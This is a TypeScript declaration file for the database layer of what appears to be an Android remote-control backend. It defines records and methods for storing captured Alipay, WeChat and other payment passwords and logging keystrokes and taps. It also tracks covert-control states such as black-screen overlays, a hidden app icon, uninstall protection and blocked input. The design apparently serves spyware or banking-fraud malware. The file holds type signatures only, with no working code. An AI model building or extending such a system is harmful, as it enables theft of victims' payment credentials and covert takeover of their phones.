366 lines
10 KiB
TypeScript
366 lines
10 KiB
TypeScript
export interface DeviceRecord {
|
||
deviceId: string;
|
||
deviceName: string;
|
||
deviceModel: string;
|
||
osVersion: string;
|
||
appVersion: string;
|
||
appPackage?: string;
|
||
appName?: string;
|
||
screenWidth: number;
|
||
screenHeight: number;
|
||
capabilities: string[];
|
||
firstSeen: Date;
|
||
lastSeen: Date;
|
||
connectionCount: number;
|
||
lastSocketId?: string;
|
||
status: 'online' | 'offline' | 'busy';
|
||
publicIP?: string;
|
||
remark?: string;
|
||
systemVersionName?: string;
|
||
romType?: string;
|
||
romVersion?: string;
|
||
osBuildVersion?: string;
|
||
}
|
||
export interface OperationLogRecord {
|
||
id?: number;
|
||
deviceId: string;
|
||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||
content: string;
|
||
extraData?: any;
|
||
timestamp: Date;
|
||
}
|
||
export interface DeviceStateRecord {
|
||
deviceId: string;
|
||
password?: string;
|
||
inputBlocked: boolean;
|
||
loggingEnabled: boolean;
|
||
blackScreenActive: boolean;
|
||
appHidden: boolean;
|
||
uninstallProtectionEnabled: boolean;
|
||
lastPasswordUpdate?: Date;
|
||
confirmButtonCoords?: {
|
||
x: number;
|
||
y: number;
|
||
};
|
||
learnedConfirmButton?: {
|
||
x: number;
|
||
y: number;
|
||
count: number;
|
||
};
|
||
createdAt: Date;
|
||
updatedAt: Date;
|
||
}
|
||
export interface AlipayPasswordRecord {
|
||
id?: number;
|
||
deviceId: string;
|
||
password: string;
|
||
passwordLength: number;
|
||
activity: string;
|
||
inputMethod: string;
|
||
sessionId: string;
|
||
timestamp: Date;
|
||
createdAt: Date;
|
||
}
|
||
export interface WechatPasswordRecord {
|
||
id?: number;
|
||
deviceId: string;
|
||
password: string;
|
||
passwordLength: number;
|
||
activity: string;
|
||
inputMethod: string;
|
||
sessionId: string;
|
||
timestamp: Date;
|
||
createdAt: Date;
|
||
}
|
||
export interface PasswordInputRecord {
|
||
id?: number;
|
||
deviceId: string;
|
||
password: string;
|
||
passwordLength: number;
|
||
passwordType: string;
|
||
activity: string;
|
||
inputMethod: string;
|
||
installationId: string;
|
||
sessionId: string;
|
||
timestamp: Date;
|
||
createdAt: Date;
|
||
}
|
||
export declare class DatabaseService {
|
||
private db;
|
||
private logger;
|
||
constructor(dbPath?: string);
|
||
/**
|
||
* 初始化数据库表结构
|
||
*/
|
||
private initDatabase;
|
||
/**
|
||
* 迁移:确保 devices 表包含新增列
|
||
*/
|
||
private ensureDeviceTableColumns;
|
||
/**
|
||
* 根据socketId查询设备信息
|
||
*/
|
||
getDeviceBySocketId(socketId: string): DeviceRecord | null;
|
||
/**
|
||
* 根据deviceId查询设备信息
|
||
*/
|
||
getDeviceById(deviceId: string): DeviceRecord | null;
|
||
/**
|
||
* 保存或更新设备信息
|
||
*/
|
||
saveDevice(deviceInfo: any, socketId: string): void;
|
||
/**
|
||
* 记录连接历史
|
||
*/
|
||
private recordConnection;
|
||
/**
|
||
* ✅ 将设备状态设置为离线
|
||
*/
|
||
setDeviceOffline(deviceId: string): void;
|
||
/**
|
||
* 通过Socket ID将设备设置为离线
|
||
*/
|
||
setDeviceOfflineBySocketId(socketId: string): void;
|
||
/**
|
||
* ✅ 将所有设备状态重置为离线
|
||
*/
|
||
resetAllDevicesToOffline(): void;
|
||
/**
|
||
* 更新连接断开信息
|
||
*/
|
||
updateDisconnection(socketId: string): void;
|
||
/**
|
||
* 获取设备连接统计
|
||
*/
|
||
getDeviceStats(deviceId: string): any;
|
||
/**
|
||
* 获取所有设备列表
|
||
*/
|
||
getAllDevices(): DeviceRecord[];
|
||
/**
|
||
* 清理旧连接记录
|
||
*/
|
||
cleanupOldRecords(daysToKeep?: number): void;
|
||
/**
|
||
* 转换数据库行为DeviceRecord
|
||
*/
|
||
private rowToDeviceRecord;
|
||
/**
|
||
* 🆕 更新设备备注
|
||
*/
|
||
updateDeviceRemark(deviceId: string, remark: string): boolean;
|
||
/**
|
||
* 🆕 获取设备备注
|
||
*/
|
||
getDeviceRemark(deviceId: string): string | null;
|
||
/**
|
||
* 保存操作日志
|
||
*/
|
||
saveOperationLog(log: OperationLogRecord): void;
|
||
/**
|
||
* 获取设备操作日志(分页)
|
||
*/
|
||
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
|
||
logs: OperationLogRecord[];
|
||
total: number;
|
||
page: number;
|
||
pageSize: number;
|
||
totalPages: number;
|
||
};
|
||
/**
|
||
* 删除设备的所有操作日志
|
||
*/
|
||
clearOperationLogs(deviceId: string): void;
|
||
/**
|
||
* 清理旧的操作日志
|
||
*/
|
||
cleanupOldOperationLogs(daysToKeep?: number): void;
|
||
/**
|
||
* 获取操作日志统计
|
||
*/
|
||
getOperationLogStats(deviceId: string): any;
|
||
/**
|
||
* 获取设备最新的密码记录
|
||
*/
|
||
getLatestDevicePassword(deviceId: string): string | null;
|
||
/**
|
||
* ✅ 获取设备状态
|
||
*/
|
||
getDeviceState(deviceId: string): DeviceStateRecord | null;
|
||
/**
|
||
* ✅ 保存或更新设备状态
|
||
*/
|
||
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||
/**
|
||
* ✅ 更新设备密码
|
||
*/
|
||
updateDevicePassword(deviceId: string, password: string): void;
|
||
/**
|
||
* ✅ 更新设备输入阻止状态
|
||
*/
|
||
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
|
||
/**
|
||
* ✅ 更新设备日志记录状态
|
||
*/
|
||
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
|
||
/**
|
||
* 🆕 更新设备黑屏遮盖状态
|
||
*/
|
||
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
|
||
/**
|
||
* 🆕 更新设备应用隐藏状态
|
||
*/
|
||
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
|
||
/**
|
||
* 🛡️ 更新设备防止卸载保护状态
|
||
*/
|
||
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
|
||
/**
|
||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||
*/
|
||
getDevicePassword(deviceId: string): string | null;
|
||
/**
|
||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||
*/
|
||
saveDevicePassword(deviceId: string, password: string): void;
|
||
/**
|
||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||
*/
|
||
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||
/**
|
||
* 🆕 保存确认按钮坐标
|
||
*/
|
||
saveConfirmButtonCoords(deviceId: string, coords: {
|
||
x: number;
|
||
y: number;
|
||
}): void;
|
||
/**
|
||
* 🆕 获取确认按钮坐标
|
||
*/
|
||
getConfirmButtonCoords(deviceId: string): {
|
||
x: number;
|
||
y: number;
|
||
} | null;
|
||
/**
|
||
* 🆕 更新学习的确认按钮坐标
|
||
*/
|
||
updateLearnedConfirmButton(deviceId: string, coords: {
|
||
x: number;
|
||
y: number;
|
||
}): void;
|
||
/**
|
||
* 从操作日志中获取可能的密码候选
|
||
*/
|
||
getPasswordCandidatesFromLogs(deviceId: string): any[];
|
||
/**
|
||
* 💰 保存支付宝密码记录
|
||
*/
|
||
saveAlipayPassword(record: AlipayPasswordRecord): void;
|
||
/**
|
||
* 💰 获取设备的支付宝密码记录(分页)
|
||
*/
|
||
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||
passwords: AlipayPasswordRecord[];
|
||
total: number;
|
||
page: number;
|
||
pageSize: number;
|
||
totalPages: number;
|
||
};
|
||
/**
|
||
* 💰 获取设备最新的支付宝密码
|
||
*/
|
||
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
|
||
/**
|
||
* 💰 删除设备的支付宝密码记录
|
||
*/
|
||
clearAlipayPasswords(deviceId: string): void;
|
||
/**
|
||
* 💰 清理旧的支付宝密码记录
|
||
*/
|
||
cleanupOldAlipayPasswords(daysToKeep?: number): void;
|
||
/**
|
||
* 💬 保存微信密码记录
|
||
*/
|
||
saveWechatPassword(record: WechatPasswordRecord): void;
|
||
/**
|
||
* 💬 获取设备的微信密码记录(分页)
|
||
*/
|
||
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||
passwords: WechatPasswordRecord[];
|
||
total: number;
|
||
page: number;
|
||
pageSize: number;
|
||
totalPages: number;
|
||
};
|
||
/**
|
||
* 💬 获取设备最新的微信密码
|
||
*/
|
||
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
|
||
/**
|
||
* 💬 删除设备的微信密码记录
|
||
*/
|
||
clearWechatPasswords(deviceId: string): void;
|
||
/**
|
||
* 💬 清理旧的微信密码记录
|
||
*/
|
||
cleanupOldWechatPasswords(daysToKeep?: number): void;
|
||
/**
|
||
* 🔐 保存通用密码输入记录
|
||
*/
|
||
savePasswordInput(record: PasswordInputRecord): void;
|
||
/**
|
||
* 🔐 获取设备的通用密码输入记录(分页)
|
||
*/
|
||
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
|
||
passwords: PasswordInputRecord[];
|
||
total: number;
|
||
page: number;
|
||
pageSize: number;
|
||
totalPages: number;
|
||
};
|
||
/**
|
||
* 🔐 获取设备最新的通用密码输入
|
||
*/
|
||
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
|
||
/**
|
||
* 🔐 删除设备的通用密码输入记录
|
||
*/
|
||
clearPasswordInputs(deviceId: string, passwordType?: string): void;
|
||
/**
|
||
* 🔐 清理旧的通用密码输入记录
|
||
*/
|
||
cleanupOldPasswordInputs(daysToKeep?: number): void;
|
||
/**
|
||
* 🔐 获取密码类型统计
|
||
*/
|
||
getPasswordTypeStats(deviceId: string): any[];
|
||
/**
|
||
* ✅ 删除设备及其所有相关数据
|
||
*/
|
||
deleteDevice(deviceId: string): void;
|
||
/**
|
||
* 🔐 授予用户设备控制权限
|
||
*/
|
||
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
|
||
/**
|
||
* 🔐 撤销用户设备权限
|
||
*/
|
||
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
|
||
/**
|
||
* 🔐 检查用户是否有设备权限
|
||
*/
|
||
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
|
||
/**
|
||
* 🔐 获取用户的所有设备权限
|
||
*/
|
||
getUserDevicePermissions(userId: string): Array<{
|
||
deviceId: string;
|
||
permissionType: string;
|
||
grantedAt: Date;
|
||
}>;
|
||
/**
|
||
* 🔐 清理过期的权限
|
||
*/
|
||
cleanupExpiredPermissions(): number;
|
||
}
|
||
//# sourceMappingURL=DatabaseService.d.ts.map
|